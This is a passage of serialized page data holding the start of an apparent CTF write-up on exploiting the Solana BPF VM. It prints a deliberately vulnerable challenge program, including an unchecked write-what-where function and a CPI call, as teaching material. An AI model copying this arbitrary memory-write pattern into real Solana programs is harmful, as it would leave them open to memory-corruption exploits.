230,"props":41707,"children":41708},{"emptyLinePlaceholder":18},[41709],{"type":29,"value":459},{"type":23,"tag":230,"props":41711,"children":41712},{"class":232,"line":4627},[41713,41717,41721,41725,41729,41733,41737],{"type":23,"tag":230,"props":41714,"children":41715},{"style":262},[41716],{"type":29,"value":4363},{"type":23,"tag":230,"props":41718,"children":41719},{"style":274},[41720],{"type":29,"value":312},{"type":23,"tag":230,"props":41722,"children":41723},{"style":294},[41724],{"type":29,"value":4119},{"type":23,"tag":230,"props":41726,"children":41727},{"style":268},[41728],{"type":29,"value":271},{"type":23,"tag":230,"props":41730,"children":41731},{"style":274},[41732],{"type":29,"value":4411},{"type":23,"tag":230,"props":41734,"children":41735},{"style":256},[41736],{"type":29,"value":2671},{"type":23,"tag":230,"props":41738,"children":41739},{"style":274},[41740],{"type":29,"value":277},{"type":23,"tag":230,"props":41742,"children":41743},{"class":232,"line":4659},[41744,41748],{"type":23,"tag":230,"props":41745,"children":41746},{"style":866},[41747],{"type":29,"value":4427},{"type":23,"tag":230,"props":41749,"children":41750},{"style":274},[41751],{"type":29,"value":277},{"type":23,"tag":230,"props":41753,"children":41754},{"class":232,"line":4671},[41755,41759,41763],{"type":23,"tag":230,"props":41756,"children":41757},{"style":262},[41758],{"type":29,"value":4439},{"type":23,"tag":230,"props":41760,"children":41761},{"style":380},[41762],{"type":29,"value":4681},{"type":23,"tag":230,"props":41764,"children":41765},{"style":274},[41766],{"type":29,"value":388},{"type":23,"tag":230,"props":41768,"children":41769},{"class":232,"line":4688},[41770,41774],{"type":23,"tag":230,"props":41771,"children":41772},{"style":262},[41773],{"type":29,"value":4456},{"type":23,"tag":230,"props":41775,"children":41776},{"style":274},[41777],{"type":29,"value":4698},{"type":23,"tag":230,"props":41779,"children":41780},{"class":232,"line":4701},[41781,41785,41789,41793],{"type":23,"tag":230,"props":41782,"children":41783},{"style":262},[41784],{"type":29,"value":4707},{"type":23,"tag":230,"props":41786,"children":41787},{"style":380},[41788],{"type":29,"value":4712},{"type":23,"tag":230,"props":41790,"children":41791},{"style":274},[41792],{"type":29,"value":684},{"type":23,"tag":230,"props":41794,"children":41795},{"style":237},[41796],{"type":29,"value":4721},{"type":23,"tag":230,"props":41798,"children":41799},{"class":232,"line":4724},[41800,41804,41808],{"type":23,"tag":230,"props":41801,"children":41802},{"style":262},[41803],{"type":29,"value":4730},{"type":23,"tag":230,"props":41805,"children":41806},{"style":380},[41807],{"type":29,"value":4712},{"type":23,"tag":230,"props":41809,"children":41810},{"style":274},[41811],{"type":29,"value":388},{"type":23,"tag":230,"props":41813,"children":41814},{"class":232,"line":4741},[41815,41819,41823],{"type":23,"tag":230,"props":41816,"children":41817},{"style":262},[41818],{"type":29,"value":4747},{"type":23,"tag":230,"props":41820,"children":41821},{"style":380},[41822],{"type":29,"value":4752},{"type":23,"tag":230,"props":41824,"children":41825},{"style":274},[41826],{"type":29,"value":388},{"type":23,"tag":230,"props":41828,"children":41829},{"class":232,"line":4759},[41830],{"type":23,"tag":230,"props":41831,"children":41832},{"style":274},[41833],{"type":29,"value":4765},{"type":23,"tag":230,"props":41835,"children":41836},{"class":232,"line":4768},[41837],{"type":23,"tag":230,"props":41838,"children":41839},{"style":274},[41840],{"type":29,"value":1552},{"type":23,"tag":230,"props":41842,"children":41843},{"class":232,"line":4776},[41844],{"type":23,"tag":230,"props":41845,"children":41846},{"style":274},[41847],{"type":29,"value":1331},{"type":23,"tag":230,"props":41849,"children":41850},{"class":232,"line":4784},[41851],{"type":23,"tag":230,"props":41852,"children":41853},{"emptyLinePlaceholder":18},[41854],{"type":29,"value":459},{"type":23,"tag":230,"props":41856,"children":41857},{"class":232,"line":4792},[41858,41862,41866,41870,41874,41878,41882],{"type":23,"tag":230,"props":41859,"children":41860},{"style":866},[41861],{"type":29,"value":3903},{"type":23,"tag":230,"props":41863,"children":41864},{"style":262},[41865],{"type":29,"value":4494},{"type":23,"tag":230,"props":41867,"children":41868},{"style":274},[41869],{"type":29,"value":312},{"type":23,"tag":230,"props":41871,"children":41872},{"style":294},[41873],{"type":29,"value":3372},{"type":23,"tag":230,"props":41875,"children":41876},{"style":274},[41877],{"type":29,"value":302},{"type":23,"tag":230,"props":41879,"children":41880},{"style":262},[41881],{"type":29,"value":4511},{"type":23,"tag":230,"props":41883,"children":41884},{"style":274},[41885],{"type":29,"value":753},{"type":23,"tag":230,"props":41887,"children":41888},{"class":232,"line":4824},[41889],{"type":23,"tag":230,"props":41890,"children":41891},{"style":274},[41892],{"type":29,"value":975},{"type":23,"tag":230,"props":41894,"children":41895},{"class":232,"line":4832},[41896],{"type":23,"tag":230,"props":41897,"children":41898},{"emptyLinePlaceholder":18},[41899],{"type":29,"value":459},{"type":23,"tag":230,"props":41901,"children":41902},{"class":232,"line":4840},[41903,41907,41911,41915,41919,41923,41927,41931,41935,41939,41943,41947,41951],{"type":23,"tag":230,"props":41904,"children":41905},{"style":866},[41906],{"type":29,"value":2898},{"type":23,"tag":230,"props":41908,"children":41909},{"style":256},[41910],{"type":29,"value":3814},{"type":23,"tag":230,"props":41912,"children":41913},{"style":294},[41914],{"type":29,"value":4854},{"type":23,"tag":230,"props":41916,"children":41917},{"style":268},[41918],{"type":29,"value":218},{"type":23,"tag":230,"props":41920,"children":41921},{"style":676},[41922],{"type":29,"value":4863},{"type":23,"tag":230,"props":41924,"children":41925},{"style":268},[41926],{"type":29,"value":271},{"type":23,"tag":230,"props":41928,"children":41929},{"style":274},[41930],{"type":29,"value":4872},{"type":23,"tag":230,"props":41932,"children":41933},{"style":262},[41934],{"type":29,"value":4877},{"type":23,"tag":230,"props":41936,"children":41937},{"style":274},[41938],{"type":29,"value":684},{"type":23,"tag":230,"props":41940,"children":41941},{"style":262},[41942],{"type":29,"value":3372},{"type":23,"tag":230,"props":41944,"children":41945},{"style":274},[41946],{"type":29,"value":4890},{"type":23,"tag":230,"props":41948,"children":41949},{"style":256},[41950],{"type":29,"value":2671},{"type":23,"tag":230,"props":41952,"children":41953},{"style":274},[41954],{"type":29,"value":277},{"type":23,"tag":230,"props":41956,"children":41957},{"class":232,"line":4901},[41958],{"type":23,"tag":230,"props":41959,"children":41960},{"emptyLinePlaceholder":18},[41961],{"type":29,"value":459},{"type":23,"tag":230,"props":41963,"children":41964},{"class":232,"line":4909},[41965,41969,41973,41977,41981,41985],{"type":23,"tag":230,"props":41966,"children":41967},{"style":866},[41968],{"type":29,"value":4915},{"type":23,"tag":230,"props":41970,"children":41971},{"style":274},[41972],{"type":29,"value":664},{"type":23,"tag":230,"props":41974,"children":41975},{"style":262},[41976],{"type":29,"value":3372},{"type":23,"tag":230,"props":41978,"children":41979},{"style":274},[41980],{"type":29,"value":312},{"type":23,"tag":230,"props":41982,"children":41983},{"style":262},[41984],{"type":29,"value":3002},{"type":23,"tag":230,"props":41986,"children":41987},{"style":274},[41988],{"type":29,"value":827},{"type":23,"tag":230,"props":41990,"children":41991},{"class":232,"line":4938},[41992,41996,42000],{"type":23,"tag":230,"props":41993,"children":41994},{"style":866},[41995],{"type":29,"value":4944},{"type":23,"tag":230,"props":41997,"children":41998},{"style":380},[41999],{"type":29,"value":4949},{"type":23,"tag":230,"props":42001,"children":42002},{"style":274},[42003],{"type":29,"value":4954},{"type":23,"tag":230,"props":42005,"children":42006},{"class":232,"line":4957},[42007,42011,42015],{"type":23,"tag":230,"props":42008,"children":42009},{"style":866},[42010],{"type":29,"value":4063},{"type":23,"tag":230,"props":42012,"children":42013},{"style":294},[42014],{"type":29,"value":4311},{"type":23,"tag":230,"props":42016,"children":42017},{"style":274},[42018],{"type":29,"value":2140},{"type":23,"tag":230,"props":42020,"children":42021},{"class":232,"line":4973},[42022,42026,42030],{"type":23,"tag":230,"props":42023,"children":42024},{"style":866},[42025],{"type":29,"value":4944},{"type":23,"tag":230,"props":42027,"children":42028},{"style":380},[42029],{"type":29,"value":4983},{"type":23,"tag":230,"props":42031,"children":42032},{"style":274},[42033],{"type":29,"value":4954},{"type":23,"tag":230,"props":42035,"children":42036},{"class":232,"line":4990},[42037,42041,42045],{"type":23,"tag":230,"props":42038,"children":42039},{"style":866},[42040],{"type":29,"value":4063},{"type":23,"tag":230,"props":42042,"children":42043},{"style":294},[42044],{"type":29,"value":4552},{"type":23,"tag":230,"props":42046,"children":42047},{"style":274},[42048],{"type":29,"value":2140},{"type":23,"tag":230,"props":42050,"children":42051},{"class":232,"line":5006},[42052,42056],{"type":23,"tag":230,"props":42053,"children":42054},{"style":866},[42055],{"type":29,"value":5012},{"type":23,"tag":230,"props":42057,"children":42058},{"style":274},[42059],{"type":29,"value":4954},{"type":23,"tag":230,"props":42061,"children":42062},{"class":232,"line":5019},[42063,42067,42071,42075,42079,42083],{"type":23,"tag":230,"props":42064,"children":42065},{"style":866},[42066],{"type":29,"value":5025},{"type":23,"tag":230,"props":42068,"children":42069},{"style":256},[42070],{"type":29,"value":291},{"type":23,"tag":230,"props":42072,"children":42073},{"style":294},[42074],{"type":29,"value":5034},{"type":23,"tag":230,"props":42076,"children":42077},{"style":274},[42078],{"type":29,"value":302},{"type":23,"tag":230,"props":42080,"children":42081},{"style":380},[42082],{"type":29,"value":5043},{"type":23,"tag":230,"props":42084,"children":42085},{"style":274},[42086],{"type":29,"value":753},{"type":23,"tag":230,"props":42088,"children":42089},{"class":232,"line":5050},[42090],{"type":23,"tag":230,"props":42091,"children":42092},{"style":274},[42093],{"type":29,"value":1331},{"type":23,"tag":230,"props":42095,"children":42096},{"class":232,"line":5058},[42097],{"type":23,"tag":230,"props":42098,"children":42099},{"style":274},[42100],{"type":29,"value":450},{"type":23,"tag":32,"props":42102,"children":42103},{},[42104,42105,42110,42111,42116],{"type":29,"value":5068},{"type":23,"tag":71,"props":42106,"children":42108},{"className":42107},[],[42109],{"type":29,"value":5074},{"type":29,"value":5076},{"type":23,"tag":71,"props":42112,"children":42114},{"className":42113},[],[42115],{"type":29,"value":4241},{"type":29,"value":5083},{"type":23,"tag":59,"props":42118,"children":42119},{"id":5086},[42120],{"type":29,"value":5089},{"type":23,"tag":32,"props":42122,"children":42123},{},[42124,42125,42130,42131,42136],{"type":29,"value":5094},{"type":23,"tag":71,"props":42126,"children":42128},{"className":42127},[],[42129],{"type":29,"value":3779},{"type":29,"value":5101},{"type":23,"tag":181,"props":42132,"children":42134},{"href":5104,"rel":42133},[185],[42135],{"type":29,"value":5108},{"type":29,"value":5110},{"type":23,"tag":220,"props":42138,"children":42139},{"className":5113,"code":5114,"language":5115,"meta":7,"style":7},[42140],{"type":23,"tag":71,"props":42141,"children":42142},{"__ignoreMap":7},[42143,42150,42157,42164,42171],{"type":23,"tag":230,"props":42144,"children":42145},{"class":232,"line":233},[42146],{"type":23,"tag":230,"props":42147,"children":42148},{"style":274},[42149],{"type":29,"value":5127},{"type":23,"tag":230,"props":42151,"children":42152},{"class":232,"line":243},[42153],{"type":23,"tag":230,"props":42154,"children":42155},{"style":380},[42156],{"type":29,"value":5135},{"type":23,"tag":230,"props":42158,"children":42159},{"class":232,"line":252},[42160],{"type":23,"tag":230,"props":42161,"children":42162},{"style":380},[42163],{"type":29,"value":5143},{"type":23,"tag":230,"props":42165,"children":42166},{"class":232,"line":280},[42167],{"type":23,"tag":230,"props":42168,"children":42169},{"style":5149},[42170],{"type":29,"value":5152},{"type":23,"tag":230,"props":42172,"children":42173},{"class":232,"line":334},[42174],{"type":23,"tag":230,"props":42175,"children":42176},{"style":5149},[42177],{"type":29,"value":5160},{"type":23,"tag":24,"props":42179,"children":42180},{"id":5163},[42181],{"type":29,"value":5166},{"type":23,"tag":32,"props":42183,"children":42184},{},[42185],{"type":29,"value":5171},{"type":23,"tag":32,"props":42187,"children":42188},{},[42189],{"type":29,"value":5176},{"type":23,"tag":5178,"props":42191,"children":42192},{},[42193],{"type":29,"value":5182},{"title":7,"searchDepth":243,"depth":243,"links":42195},[42196,42197,42204,42212],{"id":26,"depth":243,"text":30},{"id":49,"depth":243,"text":52,"children":42198},[42199,42200,42201,42202,42203],{"id":61,"depth":252,"text":64},{"id":134,"depth":252,"text":137},{"id":171,"depth":252,"text":174},{"id":1636,"depth":252,"text":1639},{"id":1998,"depth":252,"text":2001},{"id":2796,"depth":243,"text":2799,"children":42205},[42206,42207,42208,42209,42210,42211],{"id":2802,"depth":252,"text":2805},{"id":2846,"depth":252,"text":2849},{"id":3765,"depth":252,"text":3768},{"id":4195,"depth":252,"text":4198},{"id":4213,"depth":252,"text":4216},{"id":5086,"depth":252,"text":5089},{"id":5163,"depth":243,"text":5166},{"_path":42214,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":42215,"description":42216,"author":42217,"image":42219,"date":42221,"isFeatured":18,"onBlogPage":18,"body":42222,"_type":5202,"_id":47642,"_source":5204,"_file":47643,"_stem":47644,"_extension":5207},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[42218,8056],"nicola",{"src":42220},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":20,"children":42223,"toc":47631},[42224,42238,42258,42263,42267,42280,42305,42311,42316,42331,42685,42700,42965,42981,43624,43630,43635,43648,43656,43868,43876,44179,44187,44330,44338,44863,44869,44881,44894,44908,44913,45681,45686,45694,45699,45705,45717,45782,45787,45800,45813,45819,45847,46998,47011,47053,47058,47063,47077,47217,47238,47259,47266,47317,47325,47336,47349,47354,47478,47491,47593,47597,47610,47615,47627],{"type":23,"tag":32,"props":42225,"children":42226},{},[42227,42229,42236],{"type":29,"value":42228},"In the world of CTFs, ",{"type":23,"tag":181,"props":42230,"children":42233},{"href":42231,"rel":42232},"https://twitter.com/paradigm_ctf",[185],[42234],{"type":29,"value":42235},"Paradigm CTF 2023",{"type":29,"value":42237}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":23,"tag":32,"props":42239,"children":42240},{},[42241,42243,42250,42251],{"type":29,"value":42242},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":23,"tag":181,"props":42244,"children":42247},{"href":42245,"rel":42246},"https://osec.io/blog/2022-03-14-solana-security-intro",[185],[42248],{"type":29,"value":42249},"Solana: An Auditor's Introduction",{"type":29,"value":112},{"type":23,"tag":181,"props":42252,"children":42255},{"href":42253,"rel":42254},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[185],[42256],{"type":29,"value":42257},"Reverse Engineering Solana with Binary Ninja.\n",{"type":23,"tag":32,"props":42259,"children":42260},{},[42261],{"type":29,"value":42262},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":23,"tag":24,"props":42264,"children":42265},{"id":26},[42266],{"type":29,"value":30},{"type":23,"tag":32,"props":42268,"children":42269},{},[42270,42272,42278],{"type":29,"value":42271},"The challenge itself resides into ",{"type":23,"tag":71,"props":42273,"children":42275},{"className":42274},[],[42276],{"type":29,"value":42277},"framework/",{"type":29,"value":42279},", and is composed of 2 parts:",{"type":23,"tag":98,"props":42281,"children":42282},{},[42283,42294],{"type":23,"tag":102,"props":42284,"children":42285},{},[42286,42292],{"type":23,"tag":71,"props":42287,"children":42289},{"className":42288},[],[42290],{"type":29,"value":42291},"framework/chall/lib.rs",{"type":29,"value":42293},": The on-chain eBPF program that needs to be exploited.",{"type":23,"tag":102,"props":42295,"children":42296},{},[42297,42303],{"type":23,"tag":71,"props":42298,"children":42300},{"className":42299},[],[42301],{"type":29,"value":42302},"framework/src/main.rs",{"type":29,"value":42304},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":23,"tag":59,"props":42306,"children":42308},{"id":42307},"vulnerable-program",[42309],{"type":29,"value":42310},"Vulnerable Program",{"type":23,"tag":32,"props":42312,"children":42313},{},[42314],{"type":29,"value":42315},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":23,"tag":144,"props":42317,"children":42318},{},[42319],{"type":23,"tag":102,"props":42320,"children":42321},{},[42322,42323,42329],{"type":29,"value":9816},{"type":23,"tag":71,"props":42324,"children":42326},{"className":42325},[],[42327],{"type":29,"value":42328},"data[0] == 0",{"type":29,"value":42330}," a function that lets you write-what-where is executed",{"type":23,"tag":220,"props":42332,"children":42334},{"className":5320,"code":42333,"language":5319,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr.write_volatile(val);\n    }\n}\n",[42335],{"type":23,"tag":71,"props":42336,"children":42337},{"__ignoreMap":7},[42338,42346,42391,42402,42525,42642,42671,42678],{"type":23,"tag":230,"props":42339,"children":42340},{"class":232,"line":233},[42341],{"type":23,"tag":230,"props":42342,"children":42343},{"style":274},[42344],{"type":29,"value":42345},"#[inline(never)]\n",{"type":23,"tag":230,"props":42347,"children":42348},{"class":232,"line":243},[42349,42353,42357,42362,42366,42370,42374,42378,42382,42386],{"type":23,"tag":230,"props":42350,"children":42351},{"style":256},[42352],{"type":29,"value":16017},{"type":23,"tag":230,"props":42354,"children":42355},{"style":256},[42356],{"type":29,"value":16022},{"type":23,"tag":230,"props":42358,"children":42359},{"style":294},[42360],{"type":29,"value":42361}," write",{"type":23,"tag":230,"props":42363,"children":42364},{"style":274},[42365],{"type":29,"value":302},{"type":23,"tag":230,"props":42367,"children":42368},{"style":262},[42369],{"type":29,"value":6037},{"type":23,"tag":230,"props":42371,"children":42372},{"style":268},[42373],{"type":29,"value":218},{"type":23,"tag":230,"props":42375,"children":42376},{"style":268},[42377],{"type":29,"value":9477},{"type":23,"tag":230,"props":42379,"children":42380},{"style":274},[42381],{"type":29,"value":6069},{"type":23,"tag":230,"props":42383,"children":42384},{"style":676},[42385],{"type":29,"value":5759},{"type":23,"tag":230,"props":42387,"children":42388},{"style":274},[42389],{"type":29,"value":42390},"]) {\n",{"type":23,"tag":230,"props":42392,"children":42393},{"class":232,"line":252},[42394,42398],{"type":23,"tag":230,"props":42395,"children":42396},{"style":256},[42397],{"type":29,"value":16160},{"type":23,"tag":230,"props":42399,"children":42400},{"style":274},[42401],{"type":29,"value":277},{"type":23,"tag":230,"props":42403,"children":42404},{"class":232,"line":280},[42405,42409,42413,42417,42422,42426,42431,42435,42440,42444,42449,42453,42457,42461,42465,42469,42473,42477,42481,42485,42489,42493,42497,42501,42505,42509,42513,42517,42521],{"type":23,"tag":230,"props":42406,"children":42407},{"style":256},[42408],{"type":29,"value":5404},{"type":23,"tag":230,"props":42410,"children":42411},{"style":262},[42412],{"type":29,"value":16184},{"type":23,"tag":230,"props":42414,"children":42415},{"style":268},[42416],{"type":29,"value":271},{"type":23,"tag":230,"props":42418,"children":42419},{"style":274},[42420],{"type":29,"value":42421}," std",{"type":23,"tag":230,"props":42423,"children":42424},{"style":268},[42425],{"type":29,"value":5818},{"type":23,"tag":230,"props":42427,"children":42428},{"style":274},[42429],{"type":29,"value":42430},"mem",{"type":23,"tag":230,"props":42432,"children":42433},{"style":268},[42434],{"type":29,"value":5818},{"type":23,"tag":230,"props":42436,"children":42437},{"style":294},[42438],{"type":29,"value":42439},"transmute",{"type":23,"tag":230,"props":42441,"children":42442},{"style":268},[42443],{"type":29,"value":5818},{"type":23,"tag":230,"props":42445,"children":42446},{"style":274},[42447],{"type":29,"value":42448},"\u003C[",{"type":23,"tag":230,"props":42450,"children":42451},{"style":676},[42452],{"type":29,"value":5759},{"type":23,"tag":230,"props":42454,"children":42455},{"style":274},[42456],{"type":29,"value":2171},{"type":23,"tag":230,"props":42458,"children":42459},{"style":5149},[42460],{"type":29,"value":6412},{"type":23,"tag":230,"props":42462,"children":42463},{"style":274},[42464],{"type":29,"value":25375},{"type":23,"tag":230,"props":42466,"children":42467},{"style":268},[42468],{"type":29,"value":6909},{"type":23,"tag":230,"props":42470,"children":42471},{"style":256},[42472],{"type":29,"value":6059},{"type":23,"tag":230,"props":42474,"children":42475},{"style":676},[42476],{"type":29,"value":8197},{"type":23,"tag":230,"props":42478,"children":42479},{"style":274},[42480],{"type":29,"value":9947},{"type":23,"tag":230,"props":42482,"children":42483},{"style":262},[42484],{"type":29,"value":6037},{"type":23,"tag":230,"props":42486,"children":42487},{"style":274},[42488],{"type":29,"value":6069},{"type":23,"tag":230,"props":42490,"children":42491},{"style":268},[42492],{"type":29,"value":5391},{"type":23,"tag":230,"props":42494,"children":42495},{"style":5149},[42496],{"type":29,"value":6412},{"type":23,"tag":230,"props":42498,"children":42499},{"style":274},[42500],{"type":29,"value":17735},{"type":23,"tag":230,"props":42502,"children":42503},{"style":268},[42504],{"type":29,"value":312},{"type":23,"tag":230,"props":42506,"children":42507},{"style":294},[42508],{"type":29,"value":28469},{"type":23,"tag":230,"props":42510,"children":42511},{"style":274},[42512],{"type":29,"value":16206},{"type":23,"tag":230,"props":42514,"children":42515},{"style":268},[42516],{"type":29,"value":312},{"type":23,"tag":230,"props":42518,"children":42519},{"style":294},[42520],{"type":29,"value":6001},{"type":23,"tag":230,"props":42522,"children":42523},{"style":274},[42524],{"type":29,"value":17749},{"type":23,"tag":230,"props":42526,"children":42527},{"class":232,"line":334},[42528,42532,42537,42541,42545,42549,42553,42557,42561,42565,42569,42573,42577,42581,42585,42589,42593,42597,42601,42605,42609,42614,42618,42622,42626,42630,42634,42638],{"type":23,"tag":230,"props":42529,"children":42530},{"style":256},[42531],{"type":29,"value":5404},{"type":23,"tag":230,"props":42533,"children":42534},{"style":262},[42535],{"type":29,"value":42536}," val",{"type":23,"tag":230,"props":42538,"children":42539},{"style":268},[42540],{"type":29,"value":271},{"type":23,"tag":230,"props":42542,"children":42543},{"style":274},[42544],{"type":29,"value":42421},{"type":23,"tag":230,"props":42546,"children":42547},{"style":268},[42548],{"type":29,"value":5818},{"type":23,"tag":230,"props":42550,"children":42551},{"style":274},[42552],{"type":29,"value":42430},{"type":23,"tag":230,"props":42554,"children":42555},{"style":268},[42556],{"type":29,"value":5818},{"type":23,"tag":230,"props":42558,"children":42559},{"style":294},[42560],{"type":29,"value":42439},{"type":23,"tag":230,"props":42562,"children":42563},{"style":268},[42564],{"type":29,"value":5818},{"type":23,"tag":230,"props":42566,"children":42567},{"style":274},[42568],{"type":29,"value":42448},{"type":23,"tag":230,"props":42570,"children":42571},{"style":676},[42572],{"type":29,"value":5759},{"type":23,"tag":230,"props":42574,"children":42575},{"style":274},[42576],{"type":29,"value":2171},{"type":23,"tag":230,"props":42578,"children":42579},{"style":5149},[42580],{"type":29,"value":6412},{"type":23,"tag":230,"props":42582,"children":42583},{"style":274},[42584],{"type":29,"value":25375},{"type":23,"tag":230,"props":42586,"children":42587},{"style":676},[42588],{"type":29,"value":10377},{"type":23,"tag":230,"props":42590,"children":42591},{"style":274},[42592],{"type":29,"value":9947},{"type":23,"tag":230,"props":42594,"children":42595},{"style":262},[42596],{"type":29,"value":6037},{"type":23,"tag":230,"props":42598,"children":42599},{"style":274},[42600],{"type":29,"value":6069},{"type":23,"tag":230,"props":42602,"children":42603},{"style":5149},[42604],{"type":29,"value":6412},{"type":23,"tag":230,"props":42606,"children":42607},{"style":268},[42608],{"type":29,"value":5391},{"type":23,"tag":230,"props":42610,"children":42611},{"style":5149},[42612],{"type":29,"value":42613},"16",{"type":23,"tag":230,"props":42615,"children":42616},{"style":274},[42617],{"type":29,"value":17735},{"type":23,"tag":230,"props":42619,"children":42620},{"style":268},[42621],{"type":29,"value":312},{"type":23,"tag":230,"props":42623,"children":42624},{"style":294},[42625],{"type":29,"value":28469},{"type":23,"tag":230,"props":42627,"children":42628},{"style":274},[42629],{"type":29,"value":16206},{"type":23,"tag":230,"props":42631,"children":42632},{"style":268},[42633],{"type":29,"value":312},{"type":23,"tag":230,"props":42635,"children":42636},{"style":294},[42637],{"type":29,"value":6001},{"type":23,"tag":230,"props":42639,"children":42640},{"style":274},[42641],{"type":29,"value":17749},{"type":23,"tag":230,"props":42643,"children":42644},{"class":232,"line":371},[42645,42650,42654,42659,42663,42667],{"type":23,"tag":230,"props":42646,"children":42647},{"style":262},[42648],{"type":29,"value":42649},"        ptr",{"type":23,"tag":230,"props":42651,"children":42652},{"style":268},[42653],{"type":29,"value":312},{"type":23,"tag":230,"props":42655,"children":42656},{"style":294},[42657],{"type":29,"value":42658},"write_volatile",{"type":23,"tag":230,"props":42660,"children":42661},{"style":274},[42662],{"type":29,"value":302},{"type":23,"tag":230,"props":42664,"children":42665},{"style":262},[42666],{"type":29,"value":14962},{"type":23,"tag":230,"props":42668,"children":42669},{"style":274},[42670],{"type":29,"value":753},{"type":23,"tag":230,"props":42672,"children":42673},{"class":232,"line":391},[42674],{"type":23,"tag":230,"props":42675,"children":42676},{"style":274},[42677],{"type":29,"value":1552},{"type":23,"tag":230,"props":42679,"children":42680},{"class":232,"line":400},[42681],{"type":23,"tag":230,"props":42682,"children":42683},{"style":274},[42684],{"type":29,"value":975},{"type":23,"tag":144,"props":42686,"children":42687},{"start":243},[42688],{"type":23,"tag":102,"props":42689,"children":42690},{},[42691,42692,42698],{"type":29,"value":9816},{"type":23,"tag":71,"props":42693,"children":42695},{"className":42694},[],[42696],{"type":29,"value":42697},"data[0] == 1",{"type":29,"value":42699},", a CPI to a non-existent program is executed:",{"type":23,"tag":220,"props":42701,"children":42703},{"className":5320,"code":42702,"language":5319,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n    let ix = Instruction {\n        program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n        data: data.try_into().unwrap(),\n        accounts: vec![]\n    };\n\n    invoke_signed_unchecked(\n        &ix,\n        &[],\n        &[],\n    ).unwrap();\n}\n",[42704],{"type":23,"tag":71,"props":42705,"children":42706},{"__ignoreMap":7},[42707,42714,42758,42783,42813,42853,42874,42881,42888,42900,42916,42928,42939,42958],{"type":23,"tag":230,"props":42708,"children":42709},{"class":232,"line":233},[42710],{"type":23,"tag":230,"props":42711,"children":42712},{"style":274},[42713],{"type":29,"value":42345},{"type":23,"tag":230,"props":42715,"children":42716},{"class":232,"line":243},[42717,42721,42725,42730,42734,42738,42742,42746,42750,42754],{"type":23,"tag":230,"props":42718,"children":42719},{"style":256},[42720],{"type":29,"value":16017},{"type":23,"tag":230,"props":42722,"children":42723},{"style":256},[42724],{"type":29,"value":16022},{"type":23,"tag":230,"props":42726,"children":42727},{"style":294},[42728],{"type":29,"value":42729}," call",{"type":23,"tag":230,"props":42731,"children":42732},{"style":274},[42733],{"type":29,"value":302},{"type":23,"tag":230,"props":42735,"children":42736},{"style":262},[42737],{"type":29,"value":6037},{"type":23,"tag":230,"props":42739,"children":42740},{"style":268},[42741],{"type":29,"value":218},{"type":23,"tag":230,"props":42743,"children":42744},{"style":268},[42745],{"type":29,"value":9477},{"type":23,"tag":230,"props":42747,"children":42748},{"style":274},[42749],{"type":29,"value":6069},{"type":23,"tag":230,"props":42751,"children":42752},{"style":676},[42753],{"type":29,"value":5759},{"type":23,"tag":230,"props":42755,"children":42756},{"style":274},[42757],{"type":29,"value":42390},{"type":23,"tag":230,"props":42759,"children":42760},{"class":232,"line":252},[42761,42765,42770,42774,42779],{"type":23,"tag":230,"props":42762,"children":42763},{"style":256},[42764],{"type":29,"value":5340},{"type":23,"tag":230,"props":42766,"children":42767},{"style":262},[42768],{"type":29,"value":42769}," ix",{"type":23,"tag":230,"props":42771,"children":42772},{"style":268},[42773],{"type":29,"value":271},{"type":23,"tag":230,"props":42775,"children":42776},{"style":676},[42777],{"type":29,"value":42778}," Instruction",{"type":23,"tag":230,"props":42780,"children":42781},{"style":274},[42782],{"type":29,"value":277},{"type":23,"tag":230,"props":42784,"children":42785},{"class":232,"line":280},[42786,42791,42795,42800,42804,42809],{"type":23,"tag":230,"props":42787,"children":42788},{"style":262},[42789],{"type":29,"value":42790},"        program_id",{"type":23,"tag":230,"props":42792,"children":42793},{"style":268},[42794],{"type":29,"value":218},{"type":23,"tag":230,"props":42796,"children":42797},{"style":294},[42798],{"type":29,"value":42799}," pubkey!",{"type":23,"tag":230,"props":42801,"children":42802},{"style":274},[42803],{"type":29,"value":302},{"type":23,"tag":230,"props":42805,"children":42806},{"style":380},[42807],{"type":29,"value":42808},"\"osecio5555555555555551111111111111111111111\"",{"type":23,"tag":230,"props":42810,"children":42811},{"style":274},[42812],{"type":29,"value":331},{"type":23,"tag":230,"props":42814,"children":42815},{"class":232,"line":334},[42816,42821,42825,42829,42833,42837,42841,42845,42849],{"type":23,"tag":230,"props":42817,"children":42818},{"style":262},[42819],{"type":29,"value":42820},"        